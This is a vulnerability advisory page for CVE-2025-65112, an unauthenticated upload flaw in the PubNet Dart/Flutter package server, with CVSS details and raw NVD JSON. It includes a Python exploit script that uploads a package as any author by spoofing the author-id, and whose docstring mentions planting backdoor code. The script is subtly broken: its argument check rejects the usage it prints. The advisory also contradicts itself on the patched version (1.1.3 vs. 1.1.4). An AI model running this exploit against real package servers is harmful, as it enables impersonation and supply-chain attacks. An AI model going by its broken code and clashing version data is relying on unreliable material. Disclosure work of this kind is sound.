Security Vulnerability Report
中文
CVE-2025-65112 CVSS 9.4 CRITICAL

CVE-2025-65112

Published: 2025-11-29 01:16:02
Last Modified: 2025-12-03 21:51:39

Description

PubNet is a self-hosted Dart & Flutter package service. Prior to version 1.1.3, the /api/storage/upload endpoint in PubNet allows unauthenticated users to upload packages as any user by providing arbitrary author-id values. This enables identity spoofing, privilege escalation, and supply chain attacks. This issue has been patched in version 1.1.3.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:ricardoboss:pubnet:*:*:*:*:*:*:*:* - VULNERABLE
PubNet < 1.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json import sys def exploit_pubnet(target_url, fake_author_id): """ Exploit for CVE-2025-65112: PubNet Unauthenticated Author ID Spoofing This PoC demonstrates uploading a package with arbitrary author-id """ upload_url = f"{target_url}/api/storage/upload" # Malicious package payload with spoofed author-id files = { 'package': ('malicious.tar.gz', create_malicious_package(), 'application/gzip') } data = { 'author-id': fake_author_id, # Spoofed author ID 'name': 'malicious-package', 'version': '1.0.0' } # No authentication required response = requests.post(upload_url, files=files, data=data) if response.status_code == 200: print(f"[+] Successfully uploaded package as author {fake_author_id}") return True else: print(f"[-] Upload failed: {response.status_code}") return False def create_malicious_package(): """ Create a malicious package with backdoor code """ # Package content would include malicious code return b'\x1f\x8b\x08\x00' # Gzip magic bytes if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <fake_author_id>") sys.exit(1) target = sys.argv[1] author_id = sys.argv[2] exploit_pubnet(target, author_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65112", "sourceIdentifier": "[email protected]", "published": "2025-11-29T01:16:02.467", "lastModified": "2025-12-03T21:51:39.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PubNet is a self-hosted Dart & Flutter package service. Prior to version 1.1.3, the /api/storage/upload endpoint in PubNet allows unauthenticated users to upload packages as any user by providing arbitrary author-id values. This enables identity spoofing, privilege escalation, and supply chain attacks. This issue has been patched in version 1.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ricardoboss:pubnet:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.4", "matchCriteriaId": "3B93BC10-5DF9-4428-A6EA-F1602D2154C4"}]}]}], "references": [{"url": "https://github.com/ricardoboss/PubNet/security/advisories/GHSA-pg82-fqrg-q6j5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ricardoboss/PubNet/security/advisories/GHSA-pg82-fqrg-q6j5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}